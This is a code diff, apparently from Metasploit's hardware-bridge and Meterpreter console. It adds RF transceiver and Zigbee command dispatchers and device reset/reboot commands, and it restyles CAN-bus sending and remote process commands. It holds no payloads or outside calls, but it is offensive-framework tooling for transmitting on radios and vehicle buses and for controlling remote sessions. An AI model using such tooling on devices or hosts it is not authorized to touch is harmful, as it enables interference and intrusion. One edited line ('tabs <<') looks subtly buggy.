end
|
||||
self.active_bus = bus
|
||||
active_bus = bus
|
||||
client.automotive.set_active_bus(bus)
|
||||
hw_methods = client.automotive.get_supported_methods(bus)
|
||||
hw_methods
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -139,16 +141,17 @@ class Console::CommandDispatcher::Automotive
|
|||
data = val
|
||||
end
|
||||
end
|
||||
bus = self.active_bus if bus.blank? and not self.active_bus == nil
|
||||
if not client.automotive.is_valid_bus? bus
|
||||
bus = active_bus if bus.blank? && !active_bus.nil?
|
||||
unless client.automotive.is_valid_bus? bus
|
||||
print_error("You must specify a valid bus via -b")
|
||||
return
|
||||
end
|
||||
if id.blank? or data.blank?
|
||||
if id.blank? || data.blank?
|
||||
print_error("You must specify a CAN ID (-I) and the data packets (-D)")
|
||||
return
|
||||
end
|
||||
success = client.automotive.cansend(bus, id, data)
|
||||
success
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -158,7 +161,8 @@ class Console::CommandDispatcher::Automotive
|
|||
'Automotive'
|
||||
end
|
||||
|
||||
private
|
||||
private
|
||||
|
||||
attr_accessor :active_bus
|
||||
|
||||
end
|
||||
|
|
|
@ -57,6 +57,8 @@ class Console::CommandDispatcher::Core
|
|||
"bglist" => "Lists running background scripts",
|
||||
"status" => "Fetch bridge status information",
|
||||
"specialty" => "Hardware devices specialty",
|
||||
"reset" => "Resets the device (NOTE: on some devices this is a FULL FACTORY RESET)",
|
||||
"reboot" => "Reboots the device (usually only supported by stand-alone devices)",
|
||||
"load_custom_methods" => "Loads custom HW commands if any"
|
||||
}
|
||||
|
||||
|
@ -132,7 +134,7 @@ class Console::CommandDispatcher::Core
|
|||
def cmd_info(*args)
|
||||
return unless msf_loaded?
|
||||
|
||||
if args.length != 1 or args.include?("-h")
|
||||
if args.length != 1 || args.include?('-h')
|
||||
cmd_info_help
|
||||
return
|
||||
end
|
||||
|
@ -144,10 +146,10 @@ class Console::CommandDispatcher::Core
|
|||
print_error 'Invalid module: ' << module_name
|
||||
end
|
||||
|
||||
if (mod)
|
||||
if mod
|
||||
print_line(::Msf::Serializer::ReadableText.dump_module(mod))
|
||||
mod_opt = ::Msf::Serializer::ReadableText.dump_options(mod, ' ')
|
||||
print_line("\nModule options (#{mod.fullname}):\n\n#{mod_opt}") if (mod_opt and mod_opt.length > 0)
|
||||
print_line("\nModule options (#{mod.fullname}):\n\n#{mod_opt}") if mod_opt && mod_opt.length > 0
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -171,12 +173,15 @@ class Console::CommandDispatcher::Core
|
|||
return true
|
||||
end
|
||||
status = client.get_status
|
||||
if status.has_key? "operational"
|
||||
op = "Unknown"
|
||||
op = "Yes" if status["operational"] == 1
|
||||
op = "No" if status["operational"] == 2
|
||||
if status.has_key? 'operational'
|
||||
op = 'Unknown'
|
||||
op = 'Yes' if status['operational'] == 1
|
||||
op = 'No' if status['operational'] == 2
|
||||
print_status("Operational: #{op}")
|
||||
end
|
||||
print_status("Device: #{status['device_name']}") if status.has_key? 'device_name'
|
||||
print_status("FW Version: #{status['fw_version']}") if status.has_key? 'fw_version'
|
||||
print_status("HW Version: #{status['hw_version']}") if status.has_key? 'hw_version'
|
||||
end
|
||||
|
||||
def cmd_specialty_help
|
||||
|
@ -196,6 +201,39 @@ class Console::CommandDispatcher::Core
|
|||
print_line client.exploit.hw_specialty.to_s
|
||||
end
|
||||
|
||||
def cmd_reset_help
|
||||
print_line("Resets the device. In some cases this can be used to perform a factory reset")
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
# Performs a device reset or factory reset
|
||||
#
|
||||
def cmd_reset(*args)
|
||||
if args.length > 0
|
||||
cmd_reset_help
|
||||
return
|
||||
end
|
||||
client.reset
|
||||
end
|
||||
|
||||
def cmd_reboot_help
|
||||
print_line("Reboots the device. This command typically only works on independent devices that")
|
||||
print_line("are not attached to a laptop or other system")
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
# Perform a device reboot
|
||||
#
|
||||
def cmd_reboot(*args)
|
||||
if args.length > 0
|
||||
cmd_reboot_help
|
||||
return
|
||||
end
|
||||
client.reboot
|
||||
end
|
||||
|
||||
def cmd_load_custom_methods_help
|
||||
print_line("Usage: load_custom_methods")
|
||||
print_line
|
||||
|
@ -212,14 +250,14 @@ class Console::CommandDispatcher::Core
|
|||
return true
|
||||
end
|
||||
res = client.get_custom_methods
|
||||
if res.has_key? "Methods"
|
||||
if res.has_key? 'Methods'
|
||||
cmd_load("custom_methods")
|
||||
self.shell.dispatcher_stack.each do |dispatcher|
|
||||
if dispatcher.name =~/custom methods/i
|
||||
dispatcher.load_methods(res["Methods"])
|
||||
dispatcher.load_methods(res['Methods'])
|
||||
end
|
||||
end
|
||||
print_status("Loaded #{res["Methods"].size} method(s)")
|
||||
print_status("Loaded #{res['Methods'].size} method(s)")
|
||||
else
|
||||
print_status("Not supported")
|
||||
end
|
||||
|
@ -236,13 +274,13 @@ class Console::CommandDispatcher::Core
|
|||
# Loads one or more meterpreter extensions.
|
||||
#
|
||||
def cmd_load(*args)
|
||||
if (args.length == 0)
|
||||
if args.length == 0
|
||||
args.unshift("-h")
|
||||
end
|
||||
|
||||
@@load_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
when '-h'
|
||||
cmd_load_help
|
||||
return true
|
||||
end
|
||||
|
@ -252,7 +290,7 @@ class Console::CommandDispatcher::Core
|
|||
args.each { |m|
|
||||
md = m.downcase
|
||||
|
||||
if (extensions.include?(md))
|
||||
if extensions.include?(md)
|
||||
print_error("The '#{md}' extension has already been loaded.")
|
||||
next
|
||||
end
|
||||
|
@ -301,7 +339,7 @@ class Console::CommandDispatcher::Core
|
|||
# First try it as a Post module if we have access to the Metasploit
|
||||
# Framework instance. If we don't, or if no such module exists,
|
||||
# fall back to using the scripting interface.
|
||||
if (msf_loaded? and mod = client.framework.modules.create(script_name))
|
||||
if msf_loaded? && mod = client.framework.modules.create(script_name)
|
||||
original_mod = mod
|
||||
reloaded_mod = client.framework.modules.reload_module(original_mod)
|
||||
|
||||
|
@ -332,16 +370,16 @@ class Console::CommandDispatcher::Core
|
|||
|
||||
def cmd_run_tabs(str, words)
|
||||
tabs = []
|
||||
if(not words[1] or not words[1].match(/^\//))
|
||||
if !words[1] || !words[1].match(/^\//)
|
||||
begin
|
||||
if (msf_loaded?)
|
||||
tabs += tab_complete_postmods
|
||||
if msf_loaded?
|
||||
tabs << tab_complete_postmods
|
||||
end
|
||||
[ # We can just use Meterpreters script path
|
||||
::Msf::Sessions::Meterpreter.script_base,
|
||||
::Msf::Sessions::Meterpreter.user_script_base
|
||||
].each do |dir|
|
||||
next if not ::File.exist? dir
|
||||
next unless ::File.exist? dir
|
||||
tabs += ::Dir.new(dir).find_all { |e|
|
||||
path = dir + ::File::SEPARATOR + e
|
||||
::File.file?(path) and ::File.readable?(path)
|
||||
|
@ -367,7 +405,7 @@ class Console::CommandDispatcher::Core
|
|||
jid = self.bgjob_id
|
||||
self.bgjob_id += 1
|
||||
|
||||
Z# Get the script name
|
||||
# Get the script name
|
||||
self.bgjobs[jid] = Rex::ThreadFactory.spawn("HWBridgeBGRun(#{args[0]})-#{jid}", false, jid, args) do |myjid,xargs|
|
||||
::Thread.current[:args] = xargs.dup
|
||||
begin
|
||||
|
@ -457,15 +495,15 @@ protected
|
|||
self.class.client_extension_search_paths.each do |path|
|
||||
path = ::File.join(path, "#{mod}.rb")
|
||||
klass = CommDispatcher.check_hash(path)
|
||||
if (klass == nil)
|
||||
old = CommDispatcher.constants
|
||||
if klass.nil?
|
||||
old = CommDispatcher.constants
|
||||
next unless ::File.exist? path
|
||||
|
||||
if (require(path))
|
||||
new = CommDispatcher.constants
|
||||
if require(path)
|
||||
new = CommDispatcher.constants
|
||||
diff = new - old
|
||||
|
||||
next if (diff.empty?)
|
||||
next if diff.empty?
|
||||
|
||||
klass = CommDispatcher.const_get(diff[0])
|
||||
|
||||
|
@ -497,7 +535,7 @@ protected
|
|||
def tab_complete_postmods
|
||||
tabs = client.framework.modules.post.map { |name,klass|
|
||||
mod = client.framework.modules.post.create(name)
|
||||
if mod and mod.session_compatible?(client)
|
||||
if mod && mod.session_compatible?(client)
|
||||
mod.fullname.dup
|
||||
else
|
||||
nil
|
||||
|
|
|
@ -0,0 +1,587 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/post/hwbridge'
|
||||
require 'msf/core/auxiliary/report'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module HWBridge
|
||||
module Ui
|
||||
###
|
||||
# RF Transceiver extension - set of commands to be executed on transceivers like the TI cc11XX
|
||||
###
|
||||
class Console::CommandDispatcher::RFtransceiver
|
||||
include Console::CommandDispatcher
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
#
|
||||
# List of supported commands.
|
||||
#
|
||||
def commands
|
||||
all = {
|
||||
'supported_idx' => 'suppored USB indexes',
|
||||
'idx' => 'sets an active idx',
|
||||
'freq' => 'sets the frequency',
|
||||
'modulation' => 'sets the modulation',
|
||||
'flen' => 'sets the fixed length packet size',
|
||||
'vlen' => 'sets the variable length packet size',
|
||||
'xmit' => 'transmits some data',
|
||||
'recv' => 'receive a packet of data',
|
||||
'enable_crc' => 'enables crc',
|
||||
'enable_manchester' => 'enables manchester encoding',
|
||||
'channel' => 'sets channel',
|
||||
'channel_bw' => 'sets the channel bandwidth',
|
||||
'baud' => 'sets the baud rate',
|
||||
'deviation' => 'sets the deviation',
|
||||
'sync_word' => 'sets the sync word',
|
||||
'preamble' => 'sets the preamble number',
|
||||
'power' => 'sets the power level',
|
||||
'maxpower' => 'sets max power'
|
||||
}
|
||||
|
||||
all
|
||||
end
|
||||
|
||||
def cmd_supported_idx
|
||||
indexes = client.rftransceiver.supported_idx
|
||||
if !indexes || !indexes.has_key?('indexes')
|
||||
print_line("error retrieving index list")
|
||||
return
|
||||
end
|
||||
indexes = indexes['indexes']
|
||||
unless indexes.size > 0
|
||||
print_line('none')
|
||||
return
|
||||
end
|
||||
self.idx = indexes[0].to_i if indexes.size == 0
|
||||
str = "Supported Indexes: "
|
||||
str << indexes.join(', ')
|
||||
str << "\nUse idx to set your desired bus, default is 0"
|
||||
print_line(str)
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the USB IDS
|
||||
#
|
||||
def cmd_idx(*args)
|
||||
self.idx = 0
|
||||
idx_opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-i' => [ true, 'USB index, default 0' ]
|
||||
)
|
||||
idx_opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line("Usage: idx -i <Index number>\n")
|
||||
print_line(idx_opts.usage)
|
||||
return
|
||||
when '-i'
|
||||
self.idx = val
|
||||
end
|
||||
end
|
||||
print_line("set index to #{self.idx}")
|
||||
end
|
||||
|
||||
def cmd_freq_help
|
||||
print_line("Sets the RF Frequency\n")
|
||||
print_line("Usage: freq -f <frequency number>")
|
||||
print_line("\nExample: freq -f 433000000")
|
||||
end
|
||||
|
||||
#
|
||||
# Takes the results of a client request and prints Ok on success
|
||||
#
|
||||
def print_success(r)
|
||||
if r.has_key?('success') && r['success'] == true
|
||||
print_line("Ok")
|
||||
else
|
||||
print_line("Error")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the frequency
|
||||
#
|
||||
def cmd_freq(*args)
|
||||
self.idx ||= 0
|
||||
freq = -1
|
||||
mhz = nil
|
||||
arg = {}
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-f' => [ true, 'frequency to set, example: 433000000' ],
|
||||
'-m' => [ true, 'Mhz' ]
|
||||
)
|
||||
opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line("Usage: freq -f <frequency number>\n")
|
||||
print_line(opts.usage)
|
||||
return
|
||||
when '-f'
|
||||
freq = val.to_i
|
||||
when '-m'
|
||||
mhz = val.to_i
|
||||
end
|
||||
end
|
||||
if freq == -1
|
||||
cmd_freq_help
|
||||
return
|
||||
end
|
||||
arg['mhz'] = mhz if mhz
|
||||
r = client.rftransceiver.set_freq(idx, freq, arg)
|
||||
print_success(r)
|
||||
end
|
||||
|
||||
def cmd_modulation_help
|
||||
print_line("Usage: modulation -M <Modulation name>\n")
|
||||
print_line("Modulation names:\n")
|
||||
print_line(" #{client.rftransceiver.get_supported_modulations(idx)}")
|
||||
print_line("\nExample: modulation -M ASK/OOK")
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the modulation
|
||||
#
|
||||
def cmd_modulation(*args)
|
||||
self.idx ||= 0
|
||||
mod = nil
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-M' => [ true, 'Modulation name, See help for options' ]
|
||||
)
|
||||
opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
cmd_modulation_help
|
||||
print_line(opts.usage)
|
||||
return
|
||||
when '-M'
|
||||
mod = val
|
||||
end
|
||||
end
|
||||
unless mod
|
||||
cmd_modulation_help
|
||||
return
|
||||
end
|
||||
r = client.rftransceiver.set_modulation(idx, mod)
|
||||
print_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the fixed length
|
||||
#
|
||||
def cmd_flen(*args)
|
||||
self.idx ||= 0
|
||||
flen = -1
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-l' => [ true, 'Fixed Length' ]
|
||||
)
|
||||
opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line("Usage: flen -l <length>\n")
|
||||
print_line(opts.usage)
|
||||
return
|
||||
when '-l'
|
||||
flen = val.to_i
|
||||
end
|
||||
end
|
||||
if flen == -1
|
||||
print_line("You must specify a length")
|
||||
return
|
||||
end
|
||||
r = client.rftransceiver.make_pkt_flen(idx, flen)
|
||||
print_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the variable length
|
||||
#
|
||||
def cmd_vlen(*args)
|
||||
self.idx ||= 0
|
||||
vlen = -1
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-l' => [ true, 'Variable Length' ]
|
||||
)
|
||||
opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line("Usage: vlen -l <length>\n")
|
||||
print_line(opts.usage)
|
||||
return
|
||||
when '-l'
|
||||
vlen = val.to_i
|
||||
end
|
||||
end
|
||||
if vlen == -1
|
||||
print_line("You must specify a length")
|
||||
return
|
||||
end
|
||||
r = client.rftransceiver.make_pkt_vlen(idx, vlen)
|
||||
print_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Xmit packet
|
||||
#
|
||||
def cmd_xmit(*args)
|
||||
self.idx ||= 0
|
||||
data = nil
|
||||
repeat = -1
|
||||
offset = -1
|
||||
arg = {}
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-d' => [ true, 'Variable Length' ],
|
||||
'-r' => [ true, 'Repeat' ],
|
||||
'-o' => [ true, 'Data offset' ]
|
||||
)
|
||||
opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line("Usage: xmit -d <data>\n")
|
||||
print_line(opts.usage)
|
||||
return
|
||||
when '-d'
|
||||
data = val
|
||||
when '-r'
|
||||
repeat = val.to_i
|
||||
when '-o'
|
||||
offset = val.to_i
|
||||
end
|
||||
end
|
||||
unless data
|
||||
print_line("You must specify the data argument (-d)")
|
||||
return
|
||||
end
|
||||
arg['repeat'] = repeat unless repeat == -1
|
||||
arg['offset'] = offset unless offset == -1
|
||||
r = client.rftransceiver.rfxmit(idx, data, arg)
|
||||
print_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Recieve data packet
|
||||
#
|
||||
def cmd_recv(*args)
|
||||
self.idx ||= 0
|
||||
arg = {}
|
||||
timeout = -1
|
||||
blocksize = -1
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-t' => [ true, 'timeout' ],
|
||||
'-b' => [ true, 'blocksize' ]
|
||||
)
|
||||
opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line("Usage: recv\n")
|
||||
print_line(opts.usage)
|
||||
return
|
||||
when '-t'
|
||||
timeout = val.to_i
|
||||
when '-b'
|
||||
blocksize = val.to_i
|
||||
end
|
||||
end
|
||||
arg['blocksize'] = blocksize unless blocksize == -1
|
||||
arg['timeout'] = timeout unless timeout == -1
|
||||
r = client.rftransceiver.rfrecv(idx, arg)
|
||||
if r.has_key?('data') && r.has_key?('timestamp')
|
||||
print_line(" #{r['timestamp']}: #{r['data'].inspect}")
|
||||
else
|
||||
print_line("Error")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Enable CRC
|
||||
#
|
||||
def cmd_enable_crc(*args)
|
||||
self.idx ||= 0
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ]
|
||||
)
|
||||
opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line("Usage: enable_crc\n")
|
||||
print_line(opts.usage)
|
||||
return
|
||||
end
|
||||
end
|
||||
r = client.rftransceiver.enable_packet_crc(idx)
|
||||
print_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Enable Manchester encoding
|
||||
#
|
||||
def cmd_enable_manchester(*args)
|
||||
self.idx ||= 0
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ]
|
||||
)
|
||||
opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line("Usage: enable_manchester\n")
|
||||
print_line(opts.usage)
|
||||
return
|
||||
end
|
||||
end
|
||||
r = client.rftransceiver.enable_manchester(idx)
|
||||
print_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Set channel
|
||||
#
|
||||
def cmd_channel(*args)
|
||||
self.idx ||= 0
|
||||
channel = -1
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-c' => [ true, 'Channel number' ]
|
||||
)
|
||||
opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line("Usage: channel -c <channel number>\n")
|
||||
print_line(opts.usage)
|
||||
return
|
||||
when '-c'
|
||||
channel = val.to_i
|
||||
end
|
||||
end
|
||||
if channel == -1
|
||||
print_line("You must specify a channel number")
|
||||
return
|
||||
end
|
||||
r = client.rftransceiver.set_channel(idx, channel)
|
||||
print_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Set channel bandwidth
|
||||
#
|
||||
def cmd_channel_bw(*args)
|
||||
self.idx ||= 0
|
||||
bandwidth = -1
|
||||
mhz = nil
|
||||
arg = {}
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-b' => [ true, 'Bandwidth' ],
|
||||
'-m' => [ true, 'Mhz' ]
|
||||
)
|
||||
opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line("Usage: channel_bw -b <bandwidth>\n")
|
||||
print_line(opts.usage)
|
||||
return
|
||||
when '-b'
|
||||
bandwidth = val.to_i
|
||||
when '-m'
|
||||
mhz = val.to_i
|
||||
end
|
||||
end
|
||||
if bandwidth == -1
|
||||
print_line("You must specify the bandwidth (-b)")
|
||||
return
|
||||
end
|
||||
arg['mhz'] = mhz if mhz
|
||||
r = client.rftransceiver.set_channel_bandwidth(idx, bandwidth, arg)
|
||||
print_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Set baud rate
|
||||
#
|
||||
def cmd_baud(*args)
|
||||
self.idx ||= 0
|
||||
baud = -1
|
||||
mhz = nil
|
||||
arg = {}
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-b' => [ true, 'Baud rate' ],
|
||||
'-m' => [ true, 'Mhz' ]
|
||||
)
|
||||
opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line("Usage: baud -b <baud rate>\n")
|
||||
print_line(opts.usage)
|
||||
return
|
||||
when '-b'
|
||||
baud = val.to_i
|
||||
when '-m'
|
||||
mhz = val.to_i
|
||||
end
|
||||
end
|
||||
if baud == -1
|
||||
print_line("You must specify a baud rate")
|
||||
return
|
||||
end
|
||||
arg['mhz'] = mhz if mhz
|
||||
r = client.rftransceiver.set_baud_rate(idx, baud, arg)
|
||||
print_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Set Deviation
|
||||
#
|
||||
def cmd_deviation(*args)
|
||||
self.idx ||= 0
|
||||
deviat = -1
|
||||
mhz = nil
|
||||
arg = {}
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-d' => [ true, 'Deviat' ],
|
||||
'-m' => [ true, 'Mhz' ]
|
||||
)
|
||||
opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line("Usage: deviation -d <deviat value>\n")
|
||||
print_line(opts.usage)
|
||||
return
|
||||
when '-d'
|
||||
deviat = val.to_i
|
||||
when '-m'
|
||||
mhz = val.to_i
|
||||
end
|
||||
end
|
||||
if deviat == -1
|
||||
print_line("You must specify a deviat value")
|
||||
return
|
||||
end
|
||||
arg['mhz'] = mhz if mhz
|
||||
r = client.rftransceiver.set_deviation(idx, deviat, arg)
|
||||
print_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Set Sync word
|
||||
#
|
||||
def cmd_sync_word(*args)
|
||||
self.idx ||= 0
|
||||
word = -1
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-w' => [ true, 'Sync word (Integer)' ]
|
||||
)
|
||||
opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line("Usage: sync_word -w <int>\n")
|
||||
print_line(opts.usage)
|
||||
return
|
||||
when '-w'
|
||||
word = val.to_i
|
||||
end
|
||||
end
|
||||
if word == -1
|
||||
print_line("You must specify a sync word")
|
||||
return
|
||||
end
|
||||
r = client.rftransceiver.set_sync_word(idx, word)
|
||||
print_success(r)
|
||||
end
|
||||
|
||||
def cmd_preamble_help
|
||||
print_line("get the minimum number of preamble bits to be transmitted. note this is a flag, not a count")
|
||||
print_line("so the return value must be interpeted - e.g. 0x30 == 0x03 << 4 == MFMCFG1_NUM_PREAMBLE_6 == 6 bytes")
|
||||
end
|
||||
|
||||
#
|
||||
# Set Preamble size
|
||||
#
|
||||
def cmd_preamble(*args)
|
||||
self.idx ||= 0
|
||||
preamble = -1
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-n' => [ true, 'Number of preamble' ]
|
||||
)
|
||||
opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line("Usage: preamble -n <number bits>\n")
|
||||
print_line(opts.usage)
|
||||
return
|
||||
when '-n'
|
||||
preamble = val.to_i
|
||||
end
|
||||
end
|
||||
if preamble == -1
|
||||
print_line("You must specify the number of preamble bits")
|
||||
return
|
||||
end
|
||||
r = client.rftransceiver.set_number_preamble(idx, preamble)
|
||||
print_success(r)
|
||||
end
|
||||
|
||||
def cmd_maxpower_help
|
||||
print_line("Max power is frequency dependent. Set frequency first")
|
||||
end
|
||||
|
||||
#
|
||||
# Sets max power
|
||||
#
|
||||
def cmd_maxpower(*args)
|
||||
self.idx ||= 0
|
||||
if args.length > 0
|
||||
cmd_maxpower_help
|
||||
return
|
||||
end
|
||||
r = client.rftransceiver.set_maxpower(idx)
|
||||
print_success(r)
|
||||
end
|
||||
|
||||
def cmd_power(*args)
|
||||
self.idx ||= 0
|
||||
power = -1
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-p' => [ true, 'Power level' ]
|
||||
)
|
||||
opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line("Usage: power -p <power level>\n")
|
||||
print_line(opts.usage)
|
||||
return
|
||||
when '-p'
|
||||
power = val.to_i
|
||||
end
|
||||
end
|
||||
if power == -1
|
||||
print_line("You must specify the power level")
|
||||
return
|
||||
end
|
||||
r = client.rftransceiver.set_power(idx, power)
|
||||
print_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Name for this dispatcher
|
||||
#
|
||||
def name
|
||||
'RFtransceiver'
|
||||
end
|
||||
|
||||
attr_accessor :idx
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,125 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/post/hwbridge'
|
||||
require 'msf/core/auxiliary/report'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module HWBridge
|
||||
module Ui
|
||||
|
||||
###
|
||||
# Zigbee extension - set of commands to be executed on Zigbee compatible devices
|
||||
###
|
||||
class Console::CommandDispatcher::Zigbee
|
||||
include Console::CommandDispatcher
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
#
|
||||
# List of supported commands.
|
||||
#
|
||||
def commands
|
||||
all = {
|
||||
'supported_devices' => 'Get supported ZigBee devices',
|
||||
'target' => 'Set the target device id',
|
||||
'channel' => 'Set the channel'
|
||||
}
|
||||
|
||||
all
|
||||
end
|
||||
|
||||
# Sets the target device both in the UI class and in the base API
|
||||
# @param device [String] Device ID
|
||||
def set_target_device(device)
|
||||
self.target_device = device
|
||||
client.zigbee.set_target_device device
|
||||
end
|
||||
|
||||
#
|
||||
# Lists all thesupported devices
|
||||
#
|
||||
def cmd_supported_devices
|
||||
devices = client.zigbee.supported_devices
|
||||
if !devices or !devices.has_key? "devices"
|
||||
print_line("error retrieving list of devices")
|
||||
return
|
||||
end
|
||||
devices = devices["devices"]
|
||||
unless devices.size > 0
|
||||
print_line("none")
|
||||
return
|
||||
end
|
||||
set_target_device(devices[0]) if devices.size == 1
|
||||
str = "Supported Devices: "
|
||||
str << devices.join(', ')
|
||||
str << "\nUse device name to set your desired device, default is: #{self.target_device}"
|
||||
print_line(str)
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the default target device
|
||||
#
|
||||
def cmd_target(*args)
|
||||
self.target_device = ""
|
||||
device_opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help banner' ],
|
||||
'-d' => [ true, 'Device ID' ]
|
||||
)
|
||||
device_opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line("Usage: target -d <device id>\n")
|
||||
print_line(device_opts.usage)
|
||||
return
|
||||
when '-d'
|
||||
set_target_device val
|
||||
end
|
||||
end
|
||||
print_line("set target device to #{self.target_device}")
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the channel
|
||||
#
|
||||
def cmd_channel(*args)
|
||||
chan = 11
|
||||
dev = self.target_device if self.target_device
|
||||
xopts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help banner' ],
|
||||
'-d' => [ true, 'ZigBee device' ],
|
||||
'-c' => [ true, 'Channel number' ]
|
||||
)
|
||||
xopts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line("Usage: channel -c <channel number>\n")
|
||||
print_line(xopts.usage)
|
||||
return
|
||||
when '-d'
|
||||
dev = val
|
||||
when '-c'
|
||||
chan = val.to_i
|
||||
end
|
||||
end
|
||||
if !dev
|
||||
print_line("You must specify or set a target device")
|
||||
return
|
||||
end
|
||||
client.zigbee.set_channel(dev, chan)
|
||||
print_line("Device #{dev} channel set to #{chan}")
|
||||
end
|
||||
|
||||
#
|
||||
# Name for this dispatcher
|
||||
#
|
||||
def name
|
||||
'Zigbee'
|
||||
end
|
||||
|
||||
attr_accessor :target_device
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -63,12 +63,13 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
# Options for the 'ps' command.
|
||||
#
|
||||
@@ps_opts = Rex::Parser::Arguments.new(
|
||||
"-S" => [ true, "String to search for (converts to regex)" ],
|
||||
"-h" => [ false, "Help menu." ],
|
||||
"-A" => [ true, "Filters processes on architecture" ],
|
||||
"-s" => [ false, "Show only SYSTEM processes" ],
|
||||
"-c" => [ false, "Show only child processes of the current shell" ],
|
||||
"-U" => [ true, "Filters processes on the user using the supplied RegEx"])
|
||||
"-S" => [ true, "Filter on process name" ],
|
||||
"-U" => [ true, "Filter on user name" ],
|
||||
"-A" => [ true, "Filter on architecture" ],
|
||||
"-x" => [ false, "Filter for exact matches rather than regex" ],
|
||||
"-s" => [ false, "Filter only SYSTEM processes" ],
|
||||
"-c" => [ false, "Filter only child processes of the current shell" ],
|
||||
"-h" => [ false, "Help menu." ])
|
||||
|
||||
#
|
||||
# Options for the 'suspend' command.
|
||||
|
@ -92,6 +93,8 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
"getsid" => "Get the SID of the user that the server is running as",
|
||||
"getenv" => "Get one or more environment variable values",
|
||||
"kill" => "Terminate a process",
|
||||
"pkill" => "Terminate processes by name",
|
||||
"pgrep" => "Filter processes by name",
|
||||
"ps" => "List running processes",
|
||||
"reboot" => "Reboots the remote computer",
|
||||
"reg" => "Modify and interact with the remote registry",
|
||||
|
